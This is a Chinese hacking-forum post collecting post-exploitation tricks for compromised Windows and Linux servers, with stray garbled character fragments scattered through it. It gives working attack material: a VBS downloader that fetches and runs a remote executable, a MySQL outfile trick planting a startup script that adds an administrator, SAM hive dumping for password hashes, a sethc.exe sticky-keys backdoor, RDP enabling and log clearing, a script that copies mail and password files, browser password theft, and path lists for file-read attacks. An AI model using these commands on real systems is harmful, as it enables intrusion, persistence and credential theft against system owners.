2 U. ^" K* ]; @0 @, ?感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
: r0 A% Q* u( D8 K关于tar的打包方式,linux不以扩展名来决定文件类型。
2 S; b7 D' g8 e+ ^: @+ G若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
! p. E  I7 D7 O3 l, s: C那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
6 b/ s% Z; l9 i# F
6 Q: Q" i. b1 t' j' o提权先执行systeminfo
/ a; |, T1 G+ N" |token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
- q5 H( g( o& \8 J! E2 C+ v——————————————
9 F9 R5 M+ p! E& m3 I2、收集系统信息的脚本  
- x' X& a3 f* a8 N/ ffor window：

@echo off
3 r; H/ l  [5 M5 n7 T! `# f* Qecho #########system info collection
systeminfo
$ `& M) K/ s3 over
; R$ Q7 ~( [3 t/ H( {hostname
net user
net localgroup
% r# a  y$ L$ F- `% V/ q' X, n1 {net localgroup administrators
net user guest
net user administrator
7 L% Y: X! c, e' y& e2 T
echo #######at- with   atq#####
echo schtask /query
$ |/ [: G$ ^9 ]- C: C
echo
0 F, R; p6 f- j0 u4 o8 Aecho ####task-list#############
# T# u, e; L4 Ytasklist /svc
; ]9 p% \9 F; p5 E1 iecho
, Q/ u/ S: c: y' z& q( ]. S; wecho ####net-work infomation
ipconfig/all
8 j; v' S0 d1 Broute print
5 n# ~& L4 H2 G" E( earp -a
netstat -anipconfig /displaydns
echo
1 L7 X" e1 [; k% h0 C$ |2 vecho #######service############
' V0 w1 x: ]1 W, r9 isc query type= service state= all
0 p! I9 _; }: Q* l, v1 @. s9 U- ^echo #######file-##############
cd \
5 \% s8 Z: x- Z# ntree -F
; a9 d* z" d: U9 u! {for linux：
& {1 j; I+ m9 g6 z" e
#!/bin/bash
+ I7 Z0 m" J  C8 X% b
  r3 H4 V3 ?  G8 `  |& F" fecho #######geting sysinfo####
3 w) A2 h3 G4 V/ [) w+ S2 eecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
  H* p' d0 k8 Y7 H8 F3 ?3 Mecho #######basic infomation##
- d0 {2 I/ D. x0 W% Mcat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
( c+ w+ R6 V% b, |8 u2 G

echo 'u'r id is' `id`
echo ###atq&crontab#####
! ~$ j/ a* W; e3 ~) |8 R, patq
crontab -l
% p# x5 s; \7 G" B& Becho #####about var#####
set
6 h4 p6 Z0 c4 C- P; b- @
echo #####about network###
) c/ e* }6 H$ c% l" R# c0 x6 B####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
2 K7 a  x7 p; C( ^5 N- z0 ohostname
ipconfig -a
# N: |  M# q9 ~3 y* Narp -v
echo ########user####
$ \7 T! P  i7 g+ u. Y& wcat /etc/passwd|grep -i sh

4 ?. |6 L- m) s. j  N3 uecho ######service####
! b1 ?& ]8 e. [* H; ^chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
8 S& W. B: F5 H( d4 H/ Scat /etc/passwd|grep -i $i
done

# Y$ K; Q8 U/ K* H# Elocate passwd >/tmp/password 2>/dev/null
) f* I- ^; N/ `- |, m  x9 Msleep 5
. e7 \9 k6 i) S5 q1 R4 @locate password >>/tmp/password 2>/dev/null
sleep 5
% I2 W* ~" P) G( \locate conf >/tmp/sysconfig 2>dev/null
# N% L5 ?6 A2 ^* a# p- ~/ esleep 5
, a. q+ l$ `9 s& Y& |- _9 qlocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
echo ##packing up#########
; K+ v$ g0 P: V7 Wtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
% \0 {4 Q% s' G首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
3 F3 o1 U4 ^* Z$ Y注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
% M# [% ^' x, d7 h7 Z4 L/ R$ Khash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
7 H: C/ h) x. J9 E6 @1 o. {( h1
; p- t. |0 w% G- Y2 @1 cecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
6 V1 k+ h. Y. g( U5 }echo sGet.Type = 1 >>c:\windows\cftmon.vbs
9 N+ i+ z3 Z5 ^# A2 Q9 Becho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
; a. U  B5 Q8 H% \echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

5 ?# Z( D/ h$ f3 \* v2
* y7 {; o8 R' r( s1 T3 Z  G! gOn Error Resume Nextim iRemote,iLocal,s1,s2
/ X3 ?# a; d* C/ z' ^iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
- {9 G1 W  O7 {  v1 o- ]Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
6 P4 Y. U& L# I" b2 a% b2 N( F
5 l6 }; N) l, b7 V) }+ T) _6 Rcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

; z+ t4 S; x! |  U: {& K! i当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
4 u7 Y9 F( P1 `- Y3 d) k1.查询终端端口
% Y' H8 D% Z' mREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
: e& j1 r6 p9 C% A5 y6 I6 v- c( I3.更改终端端口为2008(0x7d8)
4 D4 _" Z9 p' \. `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
; v& R, s; s( e* d1 ^) L+ v9 ^/ IREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
) L+ o: b+ N' z) W$ F1 {————————————————
+ @. }; g. g2 x; v& {% ~' p8 h  M: `6、create table a (cmd text);
% p" r# }% o- `& D& j* |: O, qinsert into a values ("set wshshell=createobject (""wscript.shell"")");
8 y, Z# w1 |3 n' ?insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
4 @0 v5 d* |) m7 ^% oselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
5 ~) ]2 G+ }: ~8 E* T/ `7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
! \# k4 E6 Q/ s0 q% h8 V' }. L0 U. C9 S8、for /d %i in (d:\freehost\*) do @echo %i

9 K+ H$ t! f  X) P. f6 G列出d的所有目录
  
  for /d %i in (???) do @echo %i
) ?4 A7 y1 Y1 R$ {
把当前路径下文件夹的名字只有1-3个字母的打出来
5 V, k; l( a" T$ j9 q  }. R* |
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

& ]0 t& h8 i4 H( a8 R3.for /f %i in (c:\1.txt) do echo %i
1 U  m+ v/ Y7 m8 `& A  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
$ t5 T; g) E7 c* t
  delims=后的空格是分隔符 tokens是取第几个位置
7 _3 ^: F8 p6 Q& d$ l% ~* k, q——————————
●注册表:
% c4 Y) l; ?! B7 _8 j& B7 g& `1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
% F# Z, c# [2 W
8 N5 C1 [: P1 y# Z# ~3 h1 N. m2.修改3389的默认端口:
  E6 l' B5 G! D3 a) T9 V+ ~% f: x+ RHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
' v1 N( c/ |8 d# s0 j% v3 F# K
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
7 D6 n, o& l; t7 ]+ ^- q, S# q  _
% Y; q4 L& o+ [# u7 f# I, t- A4.Radmin密码:
* l6 w, H0 F; I* ^! _% G) kreg export HKLM\SYSTEM\RAdmin c:\a.reg
& @8 J7 E6 c4 ]' {7 f
0 d/ _( h5 E( A" A1 f7 W1 f$ v5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
% ~8 h/ L% D1 y, [6 y
7.停止指派策略"myipsec":
$ |, Y+ x; p0 q; [8 ~) B5 ynetsh ipsec static set policy name="myipsec" assign=n
7 p% o, c1 {$ j" n
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
9 O$ t3 {! N. }4 {reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
& J/ O% Q! G+ r7 w' W
( m( A0 b" Q! E$ b10.shift映像劫持
6 m* j& Q- _) I% v( _# ureg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

" X/ B0 A$ x" H- j* ereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
/ l9 Z4 |5 j5 T6 J0 Q8 x0 e-----------------------------------
# ?" g# O4 L% R3 _0 ~# I0 P星外vbs(注：测试通过，好东西）
7 v0 l+ |2 u. i7 uSet ObjService=GetObject("IIS://LocalHost/W3SVC")
3 Q- E, Z' e1 HFor Each obj3w In objservice
9 U# a7 J0 N  N1 {) y; uchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
. G0 L$ H2 `% f6 c- ?/ Fif err.number<>0 then
, X- n( Y) i6 d# `' m/ ~exit for
msgbox("error!")
wscript.quit
, K. W) N$ p$ ^6 J. aend if
' X4 N/ b8 g' h7 {6 C+ D( E3 _serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
1 F8 @" q1 U( p% F* |set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
+ C: F% J. H9 h, k& {end if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
- @7 s7 i" ^2 r" w9 vWScript.Quit
复制代码
/ _- _( s1 o4 {0 d4 `----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
' E4 |+ V% G+ X9 z+ G9 E2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
2 A, i7 w' F1 A然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
* E, N3 S: Y  B' b( d0 v" ?PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
& g1 @1 _: W7 t! `8 C6 H& A8 sasp代码，利用的时候会出现登录问题
/ H0 M6 s6 ]( h: z( Z* G 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
% ~8 g$ c+ v. [9 p( I  L 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
LINUX常见路径：
$ M- M6 F7 f8 p( T! a# [! u( h" y
: F6 a  I' j4 t% f/ O1 W& M/etc/passwd
/etc/shadow
- L1 F" f& M) |% ?. Z6 K/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
( y( o  }% ^: \' R/var/www/htdocs/index.php
/var/www/conf/httpd.conf
9 a  p% k9 @: g3 T4 N( V! _/var/www/htdocs/index.html
/var/httpd/conf/php.ini
1 X0 N# N3 ~* w2 ]) L) j) F/var/httpd/htdocs/index.php
3 E4 I" n8 M, P/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
7 y+ v- I! |7 ~4 W% _6 E  |; Y/opt/www/conf/httpd.conf
$ o: O8 X. V- e  q3 s/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
" T5 Q7 O. f; |1 P% v8 H# Y! X/usr/local/apache/htdocs/index.php
2 b6 x5 t( Y  q/usr/local/apache2/htdocs/index.html
: {& t1 l8 F+ D! I6 x: @' t/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
6 {  e6 t0 D! u/tmp/apache/htdocs/index.php
( v' d) T, H' V: Z; Z1 M% V. [/etc/httpd/htdocs/index.php
6 B3 y5 |8 ^; @/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
! v" F: f* G8 N5 j! R* X0 g- o/www/php4/php.ini
7 N) [) q3 a2 b/ t; k7 i/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
% [8 K5 ~1 a1 s( ~$ F- Y/www/htdocs/index.html
- s4 s  H- @% [. c$ [$ ^/usr/local/httpd/conf/httpd.conf
# ^  s) S0 @4 |! D/apache/apache/conf/httpd.conf
; b- u$ U/ o4 @9 j/apache/apache2/conf/httpd.conf
$ K! O5 T$ K: `! ^0 _7 W! K# |/etc/apache/apache.conf
/etc/apache2/apache.conf
9 O9 Z. W8 Y, z/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
! Z/ A& v8 M% s/etc/apache2/sites-available/default
1 E' h, L  g4 k* A. n- [  G* J  N# {/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
: J& ?+ b! R3 d0 M/etc/httpd/logs/error.log
1 a: }; ?) ]1 E# x: J, P8 O1 p8 N/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
! \% b$ W7 m$ \" _- F/home/apache2/conf/httpd.conf
/var/log/apache/error_log
* ~: t" o' y. s/var/log/apache/error.log
/var/log/apache/access_log
0 A5 Q3 e; e# R% X6 d; f: o6 ~/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/ T% }8 d: @( H( u2 f) {) H/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
! c8 _! m* U: [' d' Z/var/www/logs/error.log
. ~/ V( C( ^0 E: H4 ^/var/www/logs/access_log
% n- X, z5 V( P/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
: @5 |) Q3 M9 t  k; ^/usr/local/apache/logs/access_log
% z8 r% e7 [, F& p; v1 C/usr/local/apache/logs/access.log
/var/log/error_log
& |9 L4 \" y( e0 E0 y* A. T. d/var/log/error.log
/ G- D" [8 u+ K) W" N/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
- \8 ]5 o9 m7 o9 S& o- \/usr/local/apache/logs/error_logerror_log.old
3 R. k* r7 e0 e4 ^1 T$ ]/etc/php.ini
/bin/php.ini
/ _& _$ t8 ], C) F9 U/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
: F  ^7 z; ?7 P/usr/lib/php.ini
0 g: S( X* z$ |" Z* k/usr/lib/php/php.ini
/usr/local/etc/php.ini
8 x% o* u; [: H/usr/local/lib/php.ini
/ p3 f# y' ?, k% T/ O/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
" h% r. S2 ~; t7 H4 L) X# M/usr/local/php4/php.ini
6 y8 s) [# T9 d3 T  b# B2 ]2 e/usr/local/php4/lib/php.ini
) h# J: b( J: P' j3 U7 i& M+ r9 [( T/usr/local/php5/lib/php.ini
9 Z1 M+ X. I) a0 S6 `+ u% q/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
7 Z# F0 g* e  O) M/usr/local/apache/conf/httpd.conf
! s# O6 |+ ]$ d8 y  C* [; I" V7 t/usr/local/apache2/conf/httpd.conf
' D: _5 B# F6 L. y8 V2 t/usr/local/apache2/conf/php.ini
9 ?  E- K. I& n+ _/etc/php4.4/fcgi/php.ini
$ R; b( h0 p/ o1 y/etc/php4/apache/php.ini
$ {) P# Y4 g3 G/etc/php4/apache2/php.ini
; M5 R$ l# W9 a( G/etc/php5/apache/php.ini
; F, q" W" |+ q  x7 M7 b; }/etc/php5/apache2/php.ini
6 k. d, M7 d# {1 S8 V/etc/php/php.ini
% h3 ^8 ~5 C/ `& l5 }+ ^) v/etc/php/php4/php.ini
0 }# ]0 C" I1 g/etc/php/apache/php.ini
2 ~" Q' ]1 I1 T) m. v4 F  Z/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
! M1 |" j! B- H: H/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
) d) e8 n& r0 c/etc/php5/cgi/php.ini
: {5 t  _3 [! m+ a/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
* _& z  @; O9 ^: v. q/xampp/apache/bin/php.ini
' A6 m7 c7 i8 \0 t3 s# Q) _/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
3 K1 {1 v8 G- @1 g5 s# a/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
! r2 U4 D: f& i) z/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
# x; X! B( N  N9 r0 i/etc/my.cnf
' d# N. H2 C1 Z9 s7 E/usr/local/cpanel/logs
4 T& B# E9 c+ G3 _6 S+ W/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
# w: v- W5 }6 x* z% X/usr/local/cpanel/logs/error_log
! D3 R- {3 f7 l/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
- }4 n1 p' e5 H/ ]/usr/local/share/examples/php/php.ini

% b, m, N6 w* S: b; I- a2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
' X5 i& ~3 K, K2 e4 k* |c:\boot.ini
4 R0 J6 s& P6 H. ec:\1.txt
c:\a.txt
; Z0 d9 k6 F4 g% f4 a
c:\CMailServer\config.ini
% |' B$ l0 n2 P; Hc:\CMailServer\CMailServer.exe
, p' d/ a0 H8 Z- ]6 Y5 k1 Qc:\CMailServer\WebMail\index.asp
+ K) q$ |- V4 E* lc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
" |0 U% C8 _" p2 x; l/ }. B7 uC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
/ W0 O4 }& C! k$ ?" ?: [C:\WINDOWS\7i24iislog4.exe
; S4 e3 y- n' VC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

$ @; `7 U' E9 Y1 i4 bc:\hzhost\hzclient.exe
  j9 E; K& p7 C% pC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
( Y6 H9 s" g3 x$ h" h4 @2 SC:\WINDOWS\web.config
8 K' Z5 j2 W4 P9 B) Y, Y: Xc:\web\index.html
  W+ [0 O* B+ N+ g1 Oc:\www\index.html
! H1 m( Q" A+ w, ]& @  A3 H3 Jc:\WWWROOT\index.html
$ k1 s' O, M5 T4 ic:\website\index.html
c:\web\index.asp
  i: ^7 P* }$ w) |% Vc:\www\index.asp
; l7 l! J7 P* ?! N* \7 L3 z) W( Vc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
1 j8 r- A6 x0 E7 v+ Q5 bc:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
8 h% G( c5 z4 \" J* @c:\web\default.asp
% V* v' K# v* cc:\www\default.asp
* \; X0 L7 P- a( sc:\wwwsite\default.asp
c:\WWWROOT\default.asp
3 l$ E- y! G9 c5 F! rc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
/ R* t* D: g$ ~2 z: E3 D% Cc:\WWWsite\default.php
6 b% C3 |0 B* y. ^5 P: eC:\Inetpub\wwwroot\pagerror.gif
% j+ l( w% R0 W4 J1 v1 [c:\windows\notepad.exe
6 s& T4 @' z: c- V$ a; a. I) W1 s4 pc:\winnt\notepad.exe
5 o( b2 G. @4 P/ ^6 {2 x+ \C:\Program Files\Microsoft Office\OFFICE10\winword.exe
& U, Y, B- ?5 L1 S/ Y' P$ N* u3 LC:\Program Files\Microsoft Office\OFFICE11\winword.exe
, v: X3 S1 X1 H: J1 NC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
) j! {6 Y' }! l: eC:\Program Files\360Safe\360safe.exe
" X* n" s' D& B4 b! o6 {C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
' ]( Q( R2 t+ gC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
2 t5 B" y" Y  V! W! X. N# z% sC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
: I& m/ T( f( i. ~C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
3 ]4 [% n: o* T" Q4 A" HC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
; a9 h- d( Z7 n8 G  F* q3 b/ gC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
: k7 N. e! G# m+ K  x! J' FC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
8 p8 A! B3 s, ^' }  lE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
; ^; g0 Z1 }% LC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
7 v" Z8 D* u) \. U% @  D6 v4 [C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
5 x  N8 [9 Q7 h1 O, M, N# L: OC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
% s/ _$ y1 F# OC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
2 R$ k. h, O4 z% ?5 o1 ~C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
1 B; A  s1 K, e9 F  ~( qc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
( ~  X; z9 B& X/ j/ p% l2 mC:\Program Files\Oracle\oraconfig\Lpk.dll
- [/ U7 `5 n" F( U) \* mC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
5 }# @8 u) ~( ^/ j1 f8 IC:\WINDOWS\system32\inetsrv\w3wp.exe
. e  i' s/ t- cC:\WINDOWS\system32\inetsrv\inetinfo.exe
& u2 b  k$ B5 Y# f- ?1 F4 nC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
' j' w  t) \' ^1 X7 fC:\WINDOWS\system32\config\system
2 n8 n% N$ y6 a+ x. D  h/ i1 s, Bc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
4 ~! k, V/ J& k6 q+ Q. k3 Qc:\tomcat6\tomcat6\bin\version.sh
; p# N; e! p  M8 U" ]- {4 Gc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
, [# ]6 Z. r4 Q  gc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
9 O; H4 W7 J- k( s: a: H$ oc:\Apache2\Apache2\bin\Apache.exe
0 }: ^0 Y: [0 ~6 j+ l" lc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
5 P( P4 U. U! o; [/usr/local/tomcat5527/bin/version.sh
: t# L+ U5 }& ]# I! M/ S2 `$ V/usr/share/tomcat6/bin/startup.sh
9 d2 r( G- ^# C: o5 {/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
# p; N, L# U6 y1 g. Dc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
$ ~  z" }) }8 M: lC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
